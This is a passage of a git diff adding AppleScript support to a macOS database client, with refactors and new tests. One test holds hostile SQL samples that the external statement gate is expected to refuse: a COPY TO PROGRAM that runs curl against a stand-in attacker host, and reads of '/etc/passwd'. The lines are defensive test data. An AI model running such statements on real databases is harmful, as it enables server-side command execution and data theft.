container.decodeIfPresent(UUID.self, forKey: .pinnedConnectionId) let decodedSources = try container.decodeIfPresent(Set.self, forKey: .sources) - sources = (decodedSources?.isEmpty == false ? decodedSources : nil) ?? fallback.sources + let resolvedSources = (decodedSources?.isEmpty == false ? decodedSources : nil) ?? fallback.sources + sources = QueryHistorySource.migratingStoredSelection(resolvedSources) dateRange = try container.decodeIfPresent(HistoryDateRange.self, forKey: .dateRange) ?? fallback.dateRange outcome = try container.decodeIfPresent(QueryHistoryOutcome.self, forKey: .outcome) ?? fallback.outcome } diff --git a/TablePro/Core/Storage/QueryInsightsPreferencesStorage.swift b/TablePro/Core/Storage/QueryInsightsPreferencesStorage.swift index eb69e35d5..7e3735901 100644 --- a/TablePro/Core/Storage/QueryInsightsPreferencesStorage.swift +++ b/TablePro/Core/Storage/QueryInsightsPreferencesStorage.swift @@ -34,7 +34,8 @@ struct QueryInsightsPreferences: Codable, Equatable, Sendable { showsAllConnections = try container.decodeIfPresent(Bool.self, forKey: .showsAllConnections) ?? fallback.showsAllConnections let decodedSources = try container.decodeIfPresent(Set.self, forKey: .sources) - sources = (decodedSources?.isEmpty == false ? decodedSources : nil) ?? fallback.sources + let resolvedSources = (decodedSources?.isEmpty == false ? decodedSources : nil) ?? fallback.sources + sources = QueryHistorySource.migratingStoredSelection(resolvedSources) dateRange = try container.decodeIfPresent(HistoryDateRange.self, forKey: .dateRange) ?? fallback.dateRange slowestRanking = try container.decodeIfPresent(QueryInsightsSlowestRanking.self, forKey: .slowestRanking) ?? fallback.slowestRanking diff --git a/TablePro/Core/Utilities/SQL/DisplayedResultReader.swift b/TablePro/Core/Utilities/SQL/DisplayedResultReader.swift new file mode 100644 index 000000000..ab8a162e1 --- /dev/null +++ b/TablePro/Core/Utilities/SQL/DisplayedResultReader.swift @@ -0,0 +1,62 @@ +// +// DisplayedResultReader.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +/// The rows a result tab is showing, in the order it is showing them. +/// +/// Anything that reads a result outside the grid itself has to answer the same three questions, and +/// get all three right: display positions are not storage indices once a value filter is on, hidden +/// and reordered columns are the reader's business too, and a row marked for deletion is in the +/// buffer but not in the result. `ResultJsonSerializer` answered them for JSON; AppleScript needs +/// the same answers as values, so they live here and JSON is one encoding of the output. +internal enum DisplayedResultReader { + internal struct Output { + internal let columns: [String] + internal let columnTypes: [ColumnType] + internal let rows: [[PluginCellValue]] + /// How many rows were left out because they are marked for deletion. + internal let skippedDeletedCount: Int + } + + /// - Parameter selectedDisplayIndices: display positions to narrow to. Empty means every + /// displayed row, which is what an untouched result set shows. + /// - Parameter deletedDisplayIndices: display positions marked for deletion but not yet saved. + /// Empty, the default, reads every row. + internal static func read( + tableRows: TableRows, + displayIDs: [RowID]?, + selectedDisplayIndices: Set, + deletedDisplayIndices: Set = [], + columns projection: VisibleColumnProjection + ) -> Output { + let positions: [Int] + if selectedDisplayIndices.isEmpty { + positions = Array(0..<(displayIDs?.count ?? tableRows.rows.count)) + } else { + positions = selectedDisplayIndices.sorted() + } + + var skippedDeleted = 0 + let rows: [[PluginCellValue]] = positions.compactMap { displayIndex in + guard let row = DisplayRowMapping.row( + forDisplay: displayIndex, displayIDs: displayIDs, in: tableRows + ) else { return nil } + guard !deletedDisplayIndices.contains(displayIndex) else { + skippedDeleted += 1 + return nil + } + return projection.values(Array(row.values)) + } + + return Output( + columns: projection.columns(tableRows.columns), + columnTypes: projection.columnTypes(tableRows.columnTypes), + rows: rows, + skippedDeletedCount: skippedDeleted + ) + } +} diff --git a/TablePro/Core/Utilities/SQL/ResultJsonSerializer.swift b/TablePro/Core/Utilities/SQL/ResultJsonSerializer.swift index d08b15d2c..9a3200528 100644 --- a/TablePro/Core/Utilities/SQL/ResultJsonSerializer.swift +++ b/TablePro/Core/Utilities/SQL/ResultJsonSerializer.swift @@ -38,33 +38,19 @@ internal enum ResultJsonSerializer { deletedDisplayIndices: Set = [], columns projection: VisibleColumnProjection ) -> Output { - let positions: [Int] - if selectedDisplayIndices.isEmpty { - positions = Array(0..<(displayIDs?.count ?? tableRows.rows.count)) - } else { - positions = selectedDisplayIndices.sorted() - } - - var skippedDeleted = 0 - let rows: [[PluginCellValue]] = positions.compactMap { displayIndex in - guard let row = DisplayRowMapping.row( - forDisplay: displayIndex, displayIDs: displayIDs, in: tableRows - ) else { return nil } - guard !deletedDisplayIndices.contains(displayIndex) else { - skippedDeleted += 1 - return nil - } - return projection.values(Array(row.values)) - } - - let converter = JsonRowConverter( - columns: projection.columns(tableRows.columns), - columnTypes: projection.columnTypes(tableRows.columnTypes) + let read = DisplayedResultReader.read( + tableRows: tableRows, + displayIDs: displayIDs, + selectedDisplayIndices: selectedDisplayIndices, + deletedDisplayIndices: deletedDisplayIndices, + columns: projection ) + + let converter = JsonRowConverter(columns: read.columns, columnTypes: read.columnTypes) return Output( - json: converter.generateJson(rows: rows), - rowCount: rows.count, - skippedDeletedCount: skippedDeleted + json: converter.generateJson(rows: read.rows), + rowCount: read.rows.count, + skippedDeletedCount: read.skippedDeletedCount ) } } diff --git a/TablePro/Core/Utilities/UI/PairingApprovalGate.swift b/TablePro/Core/Utilities/UI/PairingApprovalGate.swift index 4c0dfd418..cb90e9db1 100644 --- a/TablePro/Core/Utilities/UI/PairingApprovalGate.swift +++ b/TablePro/Core/Utilities/UI/PairingApprovalGate.swift @@ -24,7 +24,7 @@ internal final class PairingApprovalGate { } internal func cancel() { - deliver(.failure(MCPDataLayerError.userCancelled)) + deliver(.failure(DatabaseAccessError.userCancelled)) } internal func value() async throws -> PairingApproval { @@ -35,7 +35,7 @@ internal final class PairingApprovalGate { } internal func result() throws -> PairingApproval { - guard let outcome else { throw MCPDataLayerError.userCancelled } + guard let outcome else { throw DatabaseAccessError.userCancelled } return try outcome.get() } } diff --git a/TablePro/Info.plist b/TablePro/Info.plist index 7868481a6..cbb950223 100644 --- a/TablePro/Info.plist +++ b/TablePro/Info.plist @@ -4,6 +4,10 @@ AnalyticsHMACSecret $(ANALYTICS_HMAC_SECRET) + NSAppleScriptEnabled + + OSAScriptingDefinition + TablePro.sdef NSLocalNetworkUsageDescription TablePro connects to database servers and SSH tunnels running on your local network, including Bonjour (.local) hostnames. SUFeedURL diff --git a/TablePro/Models/Query/QueryHistorySource.swift b/TablePro/Models/Query/QueryHistorySource.swift index 0f64e85e6..1ee82d9cb 100644 --- a/TablePro/Models/Query/QueryHistorySource.swift +++ b/TablePro/Models/Query/QueryHistorySource.swift @@ -8,6 +8,7 @@ enum QueryHistorySource: String, Codable, CaseIterable, Sendable, Identifiable { case structureDDL = "structure_ddl" case dataImport = "import" case mcp + case script var id: String { rawValue } @@ -20,6 +21,7 @@ enum QueryHistorySource: String, Codable, CaseIterable, Sendable, Identifiable { case .structureDDL: return String(localized: "Structure Changes") case .dataImport: return String(localized: "Imports") case .mcp: return String(localized: "AI and MCP") + case .script: return String(localized: "AppleScript") } } @@ -32,8 +34,23 @@ enum QueryHistorySource: String, Codable, CaseIterable, Sendable, Identifiable { case .structureDDL: return "hammer" case .dataImport: return "square.and.arrow.down" case .mcp: return "sparkles" + case .script: return "applescript" } } static let userAuthored: Set = [.editor, .explain] + + /// The full set as it stood before `script` was added. + /// + /// A stored filter holding exactly these was the user choosing **Everything**, and decoding it + /// verbatim would silently drop the new source: their filter would start hiding scripted queries + /// and the toolbar would change from "Everything" to a count. Widening only this exact set leaves + /// a genuinely custom selection alone. + private static let allBeforeScript: Set = [ + .editor, .explain, .tableBrowse, .rowEdit, .structureDDL, .dataImport, .mcp + ] + + static func migratingStoredSelection(_ stored: Set) -> Set { + stored == allBeforeScript ? Set(allCases) : stored + } } diff --git a/TablePro/Resources/Localizable.xcstrings b/TablePro/Resources/Localizable.xcstrings index 7ec848570..9ae5e99d1 100644 --- a/TablePro/Resources/Localizable.xcstrings +++ b/TablePro/Resources/Localizable.xcstrings @@ -15946,7 +15946,7 @@ } } }, - "AI Policy controls in-app AI agents. External Clients controls Raycast, Cursor, Claude Desktop, and other MCP clients. Effective scope is the minimum of the requesting token's scope and the External Clients level." : { + "AI Policy controls in-app AI agents. External Clients controls Raycast, Cursor, Claude Desktop, other MCP clients, and AppleScript. Effective scope is the minimum of the requesting token's scope and the External Clients level." : { "localizations" : { "ko" : { "stringUnit" : { @@ -38402,7 +38402,7 @@ } } }, - "Controls how external clients (Raycast, Cursor, Claude Desktop) access this connection. Tokens cannot exceed this level even with full-access scope." : { + "Controls how external clients (Raycast, Cursor, Claude Desktop, AppleScript) access this connection. Tokens cannot exceed this level even with full-access scope." : { "localizations" : { "ko" : { "stringUnit" : { diff --git a/TablePro/Resources/TablePro.sdef b/TablePro/Resources/TablePro.sdef new file mode 100644 index 000000000..d2eb114f8 --- /dev/null +++ b/TablePro/Resources/TablePro.sdef @@ -0,0 +1,212 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/TablePro/Views/Connection/ConnectionAdvancedView.swift b/TablePro/Views/Connection/ConnectionAdvancedView.swift index 5692d2986..e1ca1f7f2 100644 --- a/TablePro/Views/Connection/ConnectionAdvancedView.swift +++ b/TablePro/Views/Connection/ConnectionAdvancedView.swift @@ -92,10 +92,10 @@ struct ConnectionAdvancedView: View { VStack(alignment: .leading, spacing: 4) { if AppSettingsManager.shared.ai.enabled { // swiftlint:disable:next line_length - Text(String(localized: "AI Policy controls in-app AI agents. External Clients controls Raycast, Cursor, Claude Desktop, and other MCP clients. Effective scope is the minimum of the requesting token's scope and the External Clients level.")) + Text(String(localized: "AI Policy controls in-app AI agents. External Clients controls Raycast, Cursor, Claude Desktop, other MCP clients, and AppleScript. Effective scope is the minimum of the requesting token's scope and the External Clients level.")) } else { // swiftlint:disable:next line_length - Text(String(localized: "Controls how external clients (Raycast, Cursor, Claude Desktop) access this connection. Tokens cannot exceed this level even with full-access scope.")) + Text(String(localized: "Controls how external clients (Raycast, Cursor, Claude Desktop, AppleScript) access this connection. Tokens cannot exceed this level even with full-access scope.")) } } .font(.caption) diff --git a/TablePro/Views/Settings/NotificationsSettingsView.swift b/TablePro/Views/Settings/NotificationsSettingsView.swift index ae5f31b6c..300a7beb7 100644 --- a/TablePro/Views/Settings/NotificationsSettingsView.swift +++ b/TablePro/Views/Settings/NotificationsSettingsView.swift @@ -93,6 +93,7 @@ extension TrackedOperationKind { case .backup: return String(localized: "Backups") case .fetchAll: return String(localized: "Fetch all rows") case .mcpQuery: return String(localized: "AI and MCP queries") + case .scriptQuery: return String(localized: "AppleScript queries") } } } diff --git a/TablePro/Views/Settings/Sections/PairingApprovalSheet.swift b/TablePro/Views/Settings/Sections/PairingApprovalSheet.swift index 115c4e205..38b6944d4 100644 --- a/TablePro/Views/Settings/Sections/PairingApprovalSheet.swift +++ b/TablePro/Views/Settings/Sections/PairingApprovalSheet.swift @@ -206,7 +206,7 @@ struct PairingApprovalSheet: View { private var actionBar: some View { DialogFooter { Button(String(localized: "Deny"), role: .cancel) { - onComplete(.failure(MCPDataLayerError.userCancelled)) + onComplete(.failure(DatabaseAccessError.userCancelled)) } .keyboardShortcut(.cancelAction) diff --git a/TableProTests/Core/Execution/ExternalStatementGateTests.swift b/TableProTests/Core/Execution/ExternalStatementGateTests.swift new file mode 100644 index 000000000..cdeff9c37 --- /dev/null +++ b/TableProTests/Core/Execution/ExternalStatementGateTests.swift @@ -0,0 +1,137 @@ +// +// ExternalStatementGateTests.swift +// TableProTests +// +// The refusals every caller outside the app's own windows shares. MCP had them first and still has +// its own suite; these pin them where they now live, so a change made for one surface cannot +// quietly loosen the other. +// + +import Foundation +@testable import TablePro +import Testing + +@Suite("External statement gate") +struct ExternalStatementGateTests { + private func statement( + _ sql: String, + databaseType: DatabaseType = .postgresql, + externalAccess: ExternalAccessLevel = .readWrite, + allowsDestructive: Bool = true, + allowsMultiStatement: Bool = false, + destructiveAlternative: String? = nil + ) -> ExternalStatementGate.Statement { + ExternalStatementGate.Statement( + sql: sql, + connectionId: UUID(), + databaseType: databaseType, + externalAccess: externalAccess, + allowsDestructive: allowsDestructive, + allowsMultiStatement: allowsMultiStatement, + destructiveAlternative: destructiveAlternative + ) + } + + private func refusal(_ statement: ExternalStatementGate.Statement) -> ExternalStatementGateError? { + do { + _ = try ExternalStatementGate.classify(statement) + return nil + } catch let error as ExternalStatementGateError { + return error + } catch { + return nil + } + } + + @Test("A plain read passes") + func readsPass() throws { + let classification = try ExternalStatementGate.classify(statement("SELECT 1")) + #expect(classification.tier == .safe) + } + + @Test("A statement that reaches the filesystem or runs server code is refused", arguments: [ + "COPY users FROM '/etc/passwd'", + "COPY users TO PROGRAM 'curl attacker.example'", + "SELECT pg_read_file('/etc/passwd')" + ]) + func filesystemAndCodeRefused(sql: String) { + #expect(refusal(statement(sql)) == .denied( + String( + localized: """ + Statements that read or write files, or that run server-side code, cannot be sent \ + from outside the app. Run this one in TablePro instead. + """ + ) + )) + } + + @Test("Several statements in one call are refused unless the caller asked for them") + func multiStatementRefused() { + let refused = refusal(statement("SELECT 1; SELECT 2")) + #expect(refused == .invalidArgument(String(localized: "Send one statement at a time."))) + + #expect(refusal(statement("SELECT 1; SELECT 2", allowsMultiStatement: true)) == nil) + } + + /// The connection setting a user reaches for when they want a script to look but not touch. + @Test("A write is refused when the connection is read only for external clients", arguments: [ + ExternalAccessLevel.readOnly, ExternalAccessLevel.blocked + ]) + func writesRefusedOnReadOnlyConnections(access: ExternalAccessLevel) { + let refused = refusal(statement("UPDATE users SET name = 'x'", externalAccess: access)) + #expect(refused == .denied(String(localized: "This connection is read only for external clients."))) + + #expect(refusal(statement("SELECT 1", externalAccess: access)) == nil) + } + + @Test("A destructive statement is refused when the caller may not run one") + func destructiveRefusedWithoutPermission() { + let refused = refusal(statement("DROP TABLE users", allowsDestructive: false)) + #expect(refused == .denied(String(localized: "This statement drops or truncates data."))) + } + + /// MCP points at its confirmation tool, AppleScript confirms interactively and never gets here. + /// The sentence is the transport's to supply so neither surface inherits the other's advice. + @Test("The destructive refusal carries the caller's own alternative") + func destructiveRefusalCarriesAlternative() { + let refused = refusal( + statement("DROP TABLE users", allowsDestructive: false, destructiveAlternative: "Do it in the app.") + ) + #expect(refused == .denied( + String(localized: "This statement drops or truncates data.") + " Do it in the app." + )) + } + + @Test("A destructive statement passes when the caller may run one") + func destructiveAllowed() throws { + let classification = try ExternalStatementGate.classify(statement("DROP TABLE users")) + #expect(classification.tier == .destructive) + } + + // MARK: - Consent + + @Test("Silent mode asks for nothing on a read, and Alert asks on a write") + func consentFollowsSafeMode() { + let read = QueryClassifier.classify("SELECT 1", databaseType: .postgresql) + let write = QueryClassifier.classify("UPDATE users SET a = 1", databaseType: .postgresql) + + #expect(!ExternalStatementGate.requiresUserConsent( + classification: read, sql: "SELECT 1", databaseType: .postgresql, safeModeLevel: .silent + )) + #expect(ExternalStatementGate.requiresUserConsent( + classification: write, sql: "UPDATE users SET a = 1", databaseType: .postgresql, safeModeLevel: .alert + )) + #expect(ExternalStatementGate.requiresUserConsent( + classification: read, sql: "SELECT 1", databaseType: .postgresql, safeModeLevel: .alertFull + )) + } + + /// Whatever the level says. A script that drops a table gets a person in front of it. + @Test("A destructive statement always asks, even on Silent") + func destructiveAlwaysAsks() { + let drop = QueryClassifier.classify("DROP TABLE users", databaseType: .postgresql) + #expect(ExternalStatementGate.requiresUserConsent( + classification: drop, sql: "DROP TABLE users", databaseType: .postgresql, safeModeLevel: .silent + )) + } +} diff --git a/TableProTests/Core/MCP/MCPPairingServiceTests.swift b/TableProTests/Core/MCP/MCPPairingServiceTests.swift index 2ce280540..189de44d4 100644 --- a/TableProTests/Core/MCP/MCPPairingServiceTests.swift +++ b/TableProTests/Core/MCP/MCPPairingServiceTests.swift @@ -64,7 +64,7 @@ struct MCPPairingServiceTests { _ = try await store.consume(code: "code-2", verifier: verifier) #expect(await store.contains(code: "code-2") == false) - await #expect(throws: MCPDataLayerError.self) { + await #expect(throws: DatabaseAccessError.self) { _ = try await store.consume(code: "code-2", verifier: verifier) } } @@ -78,7 +78,7 @@ struct MCPPairingServiceTests { do { _ = try await store.consume(code: "code-3", verifier: makeVerifier("b")) Issue.record("Expected the mismatched verifier to be refused") - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { guard case .forbidden = error else { Issue.record("Expected forbidden, got \(error)") return @@ -86,7 +86,7 @@ struct MCPPairingServiceTests { } #expect(await store.contains(code: "code-3") == false) - await #expect(throws: MCPDataLayerError.self) { + await #expect(throws: DatabaseAccessError.self) { _ = try await store.consume(code: "code-3", verifier: verifier) } } @@ -98,7 +98,7 @@ struct MCPPairingServiceTests { do { _ = try await store.consume(code: "missing", verifier: makeVerifier()) Issue.record("Expected notFound") - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { guard case .notFound = error else { Issue.record("Expected notFound, got \(error)") return @@ -120,7 +120,7 @@ struct MCPPairingServiceTests { do { _ = try await store.consume(code: "code-4", verifier: verifier, now: Date.now) Issue.record("Expected expired") - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { guard case .expired = error else { Issue.record("Expected expired, got \(error)") return @@ -187,7 +187,7 @@ struct MCPPairingServiceTests { do { try await store.insert(code: "code-overflow", record: makeRecord(challenge: "challenge")) Issue.record("Expected the pending cap to refuse another code") - } catch let error as MCPDataLayerError { + } catch let error as DatabaseAccessError { guard case .forbidden = error else { Issue.record("Expected forbidden, got \(error)") return diff --git a/TableProTests/Core/MCP/MCPPairingValidationTests.swift b/TableProTests/Core/MCP/MCPPairingValidationTests.swift index 6ab26d460..a96f7890d 100644 --- a/TableProTests/Core/MCP/MCPPairingValidationTests.swift +++ b/TableProTests/Core/MCP/MCPPairingValidationTests.swift @@ -138,12 +138,12 @@ struct MCPPairingValidationTests { ) try await store.insert(code: "code-1", record: record) - await #expect(throws: MCPDataLayerError.self) { + await #expect(throws: DatabaseAccessError.self) { _ = try await store.consume(code: "code-1", verifier: String(repeating: "b", count: 43)) } #expect(await store.contains(code: "code-1") == false) - await #expect(throws: MCPDataLayerError.self) { + await #expect(throws: DatabaseAccessError.self) { _ = try await store.consume(code: "code-1", verifier: verifier) } } diff --git a/TableProTests/Core/MCP/Protocol/Tools/MCPToolErrorSurfaceTests.swift b/TableProTests/Core/MCP/Protocol/Tools/MCPToolErrorSurfaceTests.swift index a57cdefa0..724763e50 100644 --- a/TableProTests/Core/MCP/Protocol/Tools/MCPToolErrorSurfaceTests.swift +++ b/TableProTests/Core/MCP/Protocol/Tools/MCPToolErrorSurfaceTests.swift @@ -61,11 +61,11 @@ struct MCPToolErrorSurfaceTests { @Test("A data-layer failure is translated into a tool result") func dataLayerErrorsAreTranslated() async throws { - let notConnected = try await result(for: MCPDataLayerError.notConnected(UUID())) + let notConnected = try await result(for: DatabaseAccessError.notConnected(UUID())) #expect(notConnected.isError) #expect(MCPToolTestHarness.errorText(notConnected)?.hasPrefix("not_connected:") == true) - let forbidden = try await result(for: MCPDataLayerError.forbidden("Safe Mode is read-only")) + let forbidden = try await result(for: DatabaseAccessError.forbidden("Safe Mode is read-only")) #expect(forbidden.isError) #expect(MCPToolTestHarness.errorText(forbidden)?.hasPrefix("denied:") == true) } diff --git a/TableProTests/Core/MCP/RateLimit/MCPRequestRateLimitTests.swift b/TableProTests/Core/MCP/RateLimit/MCPRequestRateLimitTests.swift index ffc9880f3..7e5e41426 100644 --- a/TableProTests/Core/MCP/RateLimit/MCPRequestRateLimitTests.swift +++ b/TableProTests/Core/MCP/RateLimit/MCPRequestRateLimitTests.swift @@ -129,8 +129,8 @@ struct MCPRequestRateLimitTests { ) let subject = MCPRateLimitSubject.token(UUID()) - await #expect(throws: MCPDataLayerError.self) { - let work: () async throws -> Void = { throw MCPDataLayerError.userCancelled } + await #expect(throws: DatabaseAccessError.self) { + let work: () async throws -> Void = { throw DatabaseAccessError.userCancelled } try await limiter.withRequestSlot(subject: subject, operation: work) } #expect(await limiter.inFlightCount(subject: subject) == 0) diff --git a/TableProTests/Core/Scripting/ScriptResultEncoderTests.swift b/TableProTests/Core/Scripting/ScriptResultEncoderTests.swift new file mode 100644 index 000000000..db5b8d13c --- /dev/null +++ b/TableProTests/Core/Scripting/ScriptResultEncoderTests.swift @@ -0,0 +1,115 @@ +// +// ScriptResultEncoderTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +@Suite("Script result encoding") +struct ScriptResultEncoderTests { + private func rows(of record: [String: Any]) throws -> [[String]] { + let raw = try #require(record[ScriptingKeys.QueryResult.rows] as? [[String: Any]]) + return try raw.map { try #require($0[ScriptingKeys.ResultRow.values] as? [String]) } + } + + @Test("A result becomes a record whose rows are records of text") + func encodesRowsAsRecords() throws { + let result = QueryResult( + columns: ["id", "name"], + columnTypes: [], + rows: [ + [.text("1"), .text("alice")], + [.text("2"), .text("bob")] + ], + rowsAffected: 0, + executionTime: 0, + error: nil + ) + + let record = ScriptResultEncoder.encode(result, executionTimeMs: 12.5) + + #expect(record[ScriptingKeys.QueryResult.columns] as? [String] == ["id", "name"]) + #expect(record[ScriptingKeys.QueryResult.rowCount] as? Int == 2) + #expect(record[ScriptingKeys.QueryResult.executionTime] as? Double == 12.5) + #expect(try rows(of: record) == [["1", "alice"], ["2", "bob"]]) + } + + /// AppleScript has no null and no typed cell, so both have to become text. Base64 is the same + /// spelling the MCP surface uses, so a script and a tool describe a blob the same way. + @Test("A null becomes empty text and binary becomes Base64") + func encodesNullAndBinary() throws { + let payload = Data([0x01, 0x02, 0x03]) + let result = QueryResult( + columns: ["nothing", "blob"], + columnTypes: [], + rows: [[.null, .bytes(payload)]], + rowsAffected: 0, + executionTime: 0, + error: nil + ) + + let record = ScriptResultEncoder.encode(result, executionTimeMs: 0) + + #expect(try rows(of: record) == [["", payload.base64EncodedString()]]) + } + + @Test("Every declared field is present, so a script never reads a missing property") + func alwaysCarriesEveryField() throws { + let record = ScriptResultEncoder.empty() + for key in ScriptingKeys.QueryResult.all { + #expect(record[key] != nil, "'\(key)' is missing from an empty result") + } + #expect(record[ScriptingKeys.QueryResult.rowCount] as? Int == 0) + #expect(record[ScriptingKeys.QueryResult.statusMessage] as? String == "") + } + + /// A tab's rows come with the result set's own metadata. Answering these four with defaults + /// described a capped read as complete and a DML statement as having changed nothing. + @Test("A tab result carries the result set's metadata rather than defaults") + func tabResultsCarryTheirMetadata() throws { + let read = DisplayedResultReader.Output( + columns: ["id"], + columnTypes: [], + rows: [[.text("1")]], + skippedDeletedCount: 0 + ) + let record = ScriptResultEncoder.encode( + read, + metadata: ScriptResultEncoder.Metadata( + rowsAffected: 3, + truncated: true, + executionTimeMs: 42, + statusMessage: "UPDATE 3" + ) + ) + + #expect(record[ScriptingKeys.QueryResult.rowsAffected] as? Int == 3) + #expect(record[ScriptingKeys.QueryResult.truncated] as? Bool == true) + #expect(record[ScriptingKeys.QueryResult.executionTime] as? Double == 42) + #expect(record[ScriptingKeys.QueryResult.statusMessage] as? String == "UPDATE 3") + #expect(try rows(of: record) == [["1"]]) + } + + @Test("A statement that changed rows reports how many, and whether it was cut short") + func carriesAffectedAndTruncated() throws { + var result = QueryResult( + columns: [], + columnTypes: [], + rows: [], + rowsAffected: 7, + executionTime: 0, + error: nil + ) + result.isTruncated = true + result.statusMessage = "UPDATE 7" + + let record = ScriptResultEncoder.encode(result, executionTimeMs: 3) + + #expect(record[ScriptingKeys.QueryResult.rowsAffected] as? Int == 7) + #expect(record[ScriptingKeys.QueryResult.truncated] as? Bool == true) + #expect(record[ScriptingKeys.QueryResult.statusMessage] as? String == "UPDATE 7") + } +} diff --git a/TableProTests/Core/Scripting/ScriptingDictionaryTests.swift b/TableProTests/Core/Scripting/ScriptingDictionaryTests.swift new file mode 100644 index 000000000..288fd5303 --- /dev/null +++ b/TableProTests/Core/Scripting/ScriptingDictionaryTests.swift @@ -0,0 +1,360 @@ +// +// ScriptingDictionaryTests.swift +// TableProTests +// +// Cocoa Scripting fails silently in every way that matters. A `cocoa class` naming a class that is +// not in the binary, a `cocoa key` that no property answers, a terminology name bound to two codes, +// or a command result declared as a type Cocoa cannot coerce all produce a dictionary that loads, +// compiles in Script Editor, and then returns nothing or `errAEEventNotHandled` with no diagnostic +// anywhere. Every rule below stands for one of those, measured against a throwaway scriptable app. +// + +import AppKit +import Foundation +@testable import TablePro +import Testing + +@MainActor +@Suite("Scripting dictionary") +struct ScriptingDictionaryTests { + // MARK: - Loading + + private static let bundleURL = Bundle(for: AppDelegate.self).bundleURL + + private func infoPlist() throws -> [String: Any] { + let data = try Data(contentsOf: Self.bundleURL.appendingPathComponent("Contents/Info.plist")) + let plist = try PropertyListSerialization.propertyList(from: data, format: nil) + return try #require(plist as? [String: Any]) + } + + private func dictionary() throws -> XMLElement { + let name = try #require(try infoPlist()["OSAScriptingDefinition"] as? String) + let url = Self.bundleURL.appendingPathComponent("Contents/Resources").appendingPathComponent(name) + let document = try XMLDocument(contentsOf: url, options: [.nodeLoadExternalEntitiesNever]) + return try #require(document.rootElement()) + } + + private func suite() throws -> XMLElement { + let suites = try dictionary().elements(forName: "suite") + return try #require(suites.first { $0.attribute(forName: "name")?.stringValue == "TablePro Suite" }) + } + + private func attribute(_ name: String, of element: XMLNode) -> String? { + (element as? XMLElement)?.attribute(forName: name)?.stringValue + } + + /// The key Cocoa derives from a property name when the sdef does not spell one out: the words + /// run together, the first lowercased and the rest capitalized. + private func derivedKey(fromName name: String) -> String { + let words = name.split(separator: " ").map(String.init) + guard let first = words.first else { return name } + return ([first] + words.dropFirst().map { $0.prefix(1).uppercased() + $0.dropFirst() }).joined() + } + + private func cocoaKey(of property: XMLElement) -> String { + if let explicit = property.elements(forName: "cocoa").first?.attribute(forName: "key")?.stringValue { + return explicit + } + return derivedKey(fromName: property.attribute(forName: "name")?.stringValue ?? "") + } + + // MARK: - The bundle claims to be scriptable + + @Test("The bundle declares scripting and ships the dictionary it names") + func bundleDeclaresScripting() throws { + let plist = try infoPlist() + #expect(plist["NSAppleScriptEnabled"] as? Bool == true) + + let name = try #require(plist["OSAScriptingDefinition"] as? String) + let url = Self.bundleURL.appendingPathComponent("Contents/Resources").appendingPathComponent(name) + #expect(FileManager.default.fileExists(atPath: url.path)) + } + + @Test("The Standard Suite is included, so the app answers activate, quit, count and exists") + func includesStandardSuite() throws { + let includes = try dictionary().elements(forName: "xi:include") + let hrefs = includes.compactMap { $0.attribute(forName: "href")?.stringValue } + #expect(hrefs.contains { $0.hasSuffix("CocoaStandard.sdef") }) + } + + /// Redeclaring `application` rather than extending it is what `sdp` warns about, and it leaves + /// the app with two `application` classes whose properties do not merge. + @Test("The application class is extended, not redeclared") + func extendsApplicationRatherThanRedeclaring() throws { + let classes = try suite().elements(forName: "class") + #expect(!classes.contains { $0.attribute(forName: "name")?.stringValue == "application" }) + #expect(try suite().elements(forName: "class-extension").count == 1) + } + + // MARK: - Everything the dictionary names has to exist + + @Test("Every cocoa class in the dictionary is in the binary") + func everyCocoaClassResolves() throws { + let suite = try suite() + var named: [String] = [] + for kind in ["class", "command"] { + for element in suite.elements(forName: kind) { + guard let cocoa = element.elements(forName: "cocoa").first, + let className = cocoa.attribute(forName: "class")?.stringValue + else { + continue + } + named.append(className) + } + } + + #expect(!named.isEmpty) + for className in named { + #expect( + NSClassFromString(className) is NSObject.Type, + "\(className) is named by the sdef but not in the binary" + ) + } + } + + @Test("Every class property and element resolves to something its class answers") + func everyCocoaKeyResolves() throws { + for classElement in try suite().elements(forName: "class") { + let className = try #require(classElement.elements(forName: "cocoa").first? + .attribute(forName: "class")?.stringValue) + let type = try #require(NSClassFromString(className) as? NSObject.Type) + + for property in classElement.elements(forName: "property") { + let key = cocoaKey(of: property) + #expect( + type.instancesRespond(to: Selector(key)), + "\(className) does not answer '\(key)'" + ) + } + for element in classElement.elements(forName: "element") { + let key = try #require(element.elements(forName: "cocoa").first? + .attribute(forName: "key")?.stringValue) + #expect( + type.instancesRespond(to: Selector(key)), + "\(className) does not answer element key '\(key)'" + ) + } + for respondsTo in classElement.elements(forName: "responds-to") { + let method = try #require(respondsTo.elements(forName: "cocoa").first? + .attribute(forName: "method")?.stringValue) + #expect( + type.instancesRespond(to: Selector(method)), + "\(className) does not implement '\(method)'" + ) + } + } + } + + @Test("The application extension's keys resolve on NSApplication") + func applicationExtensionKeysResolve() throws { + let extensionElement = try #require(try suite().elements(forName: "class-extension").first) + var keys: [String] = [] + for element in extensionElement.elements(forName: "element") { + keys.append(contentsOf: element.elements(forName: "cocoa").compactMap { + $0.attribute(forName: "key")?.stringValue + }) + } + for property in extensionElement.elements(forName: "property") { + keys.append(cocoaKey(of: property)) + } + + #expect(keys.contains(ScriptingKeys.Element.connections)) + for key in keys { + #expect(NSApplication.instancesRespond(to: Selector(key)), "NSApplication does not answer '\(key)'") + } + } + + // MARK: - Terminology has to be unambiguous + + /// Measured: two record properties both named `columns` under different codes made + /// `columns of x` resolve to the wrong code and come back empty, with no error anywhere. + @Test("No terminology name is bound to two different codes") + func everyNameHasOneCode() throws { + var codesByName: [String: Set] = [:] + + func collect(_ element: XMLElement) { + if let name = element.attribute(forName: "name")?.stringValue, + let code = element.attribute(forName: "code")?.stringValue { + codesByName[name, default: []].insert(code) + } + for child in element.children ?? [] { + guard let child = child as? XMLElement else { continue } + collect(child) + } + } + collect(try suite()) + + let ambiguous = codesByName.filter { $0.value.count > 1 } + 